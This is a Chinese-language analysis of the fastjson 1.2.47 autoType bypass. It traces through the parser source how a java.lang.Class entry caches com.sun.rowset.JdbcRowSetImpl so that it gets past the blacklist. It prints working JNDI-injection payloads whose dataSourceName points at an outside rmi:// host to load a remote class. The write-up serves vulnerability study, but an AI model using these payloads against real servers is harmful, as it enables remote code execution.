fastjson 1.2.47 payload分析
0X01 fastjson 1.2.25修了什么
用1.2.24的payload打一遍，autotype被拦截
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
对比 1.2.24 和 1.2.25的看看
在加载class的同时检测加载的类
先进行了黑名单，黑名单命中就没了；
黑名单列表
再进行白名单，白名单命中直接过
白名单
所以，针对1.2.25的修改做突破
0X02 1.2.25到1.2.47的ParserConfig.class checkAutoType函数
改成了对比hash
0X03 看看1.2.25 - 1.2.47的payload是怎么突破的
1 payload
String string = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://4444.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}}}";
2 第一个解析 java.lang.Class
ParserConfig.class中
checkAutoType函数-> java.lang.Class 顺利通过
在 mapping列表中(86个，没有java.lang.Class)，没有找到，所以从 this.deserializers.findClass中寻找(按理解，是基础类，1024个)，找到了，返回。
3 第二个解析 com.sun.rowset.JdbcRowSetImpl
在checkAutoType中
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
跳转到getClassFromMapping函数，mappings从86个变成87个，多了一个com.sun.rowset.JdbcRowSetlmpl，之后顺利拿到class，在737返回。
4 什么时候把jdbc塞进mappings的
这个mapping，第一个还没看到。那么可能是第一次执行后塞进去的
我们直接在TypeUtils.class里搜索"mappings.put(" ，loadClass里三次调用，也就是说如果调用这个loadClass可能会塞进来
直接打上三个断点，看看是否是通过这里，被塞进来的
发现确实是第一个解析完后，在解析第二个之前就塞进来了。在293行走到了TypeUtils的loadclass传入jdbc函数。
具体找找在哪里，跟进去
在fastjson/serializer/MiscCoded.class: 287中，调用loadClass，把com.sun.rowset.JdbcRowSetImpl传进去。
那么问题，com.sun.rowset.JdbcRowSetImpl哪来的，明明className是 java.lang.class。发现还是DefaultJSONParser的parse来的。
com.sun.rowset.JdbcRowSetImpl来自parse时， lexer.stringVal()，java.lang.Class的作用，会调用到这里。
stringVal()是接口函数 (fastjson/parser/JSONLexerBase.class)，具体实现的地方是fastjson/parser/JSONScanner.class，在下图1-1257 Step into进入。
没有 hasSpecial，所以取42到42+29 com.sun.rowset.JdbcRowSetlmpl
5 关于java.lang.class
为什么是java.lang.class？
因为反序列化处理类是MiscCodec。
这种映射关系在哪里定义的？
DefaultJSONParser.class 292行 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
跳转ParserConfig.class，定义了1023种 类:反序列化处理类的映射关系
6 由上而下
payload
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
parseObject:201 JSON->
--parse:128, JSON->
----parse:137, JSON->
------parse:1293,DefaultJSONParser-> [return this.parse((Object)null);]
--------parse:1327,DefaultJSONParser [case 12]
第一轮，解析到第一段内容 name: {}
[文件] DefaultJSONParser.class
488行 obj = this.parseObject((Map)input, key); key:name
--[文件] DefaultJSONParser.class
--276行 第一个java.lang.Class经过checkAutoType后
--292行 获取 "java.lang.class"的反序列化处理类 MiscCodec： ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
--293行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--进入deserializer.deserialze-MiscCodec
----[文件] MiscCodec.class-deserialze：
----229行 objVal = parser.parse();
------[文件] DefaultJSONParser.class:
------1257 parser函数 case 4
------String stringLiteral = lexer.stringVal();
--------[文件] fastjson.parser.JSONScanner.class：
--------return !this.hasSpecial ? this.subString(this.np + 1, this.sp) : new String(this.sbuf, 0, this.sp);
--------返回com.sun.rowset.JdbcRowSetImpl的objVal
----287行 return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
------[文件] fastjson.util.TypeUtils.class：
------loadClass() 858行 把com.sun.rowset.JdbcRowSetImpl 放到mappings中
第二轮，解析第二段内容 x:{}
488行 obj = this.parseObject((Map)input, key); key:x
--[文件] DefaultJSONParser.class
--276行 typename="com.sun.rowset.JdbcRowSetImpl" 进入checkAutoType
----[文件] ParserConfig.class
----728行 Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
------[文件] TypeUtils.class
------return (Class)mappings.get(className);
------mappings里已经有com.sun.rowset.JdbcRowSetImpl了
----736行 return clazz;
--293 行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--loadclass 触发JdbcRowSetImpl
7 回到1.2.47
loadClass:1242, TypeUtils (com.alibaba.fastjson.util)
mappings.put(className, clazz);
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
return loadClass(className, classLoader, true);
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
Object obj = deserializer.deserialze(this, clazz, fieldName);
�由此修改mappings
